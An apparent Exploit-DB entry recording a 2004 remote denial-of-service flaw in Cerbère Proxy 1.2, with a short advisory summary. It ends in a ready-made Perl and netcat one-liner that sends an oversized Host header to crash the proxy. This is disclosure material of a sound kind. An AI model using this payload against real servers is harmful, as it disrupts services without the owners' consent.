Cerbere Proxy Server 1.2 - Long Host Header Field Remote Denial of Service

Author: GSS IT
type: dos
platform: multiple
port: 0
date_added: 2004-09-01
date_updated: 2013-01-27
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/11085/info

Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.

A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.

Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128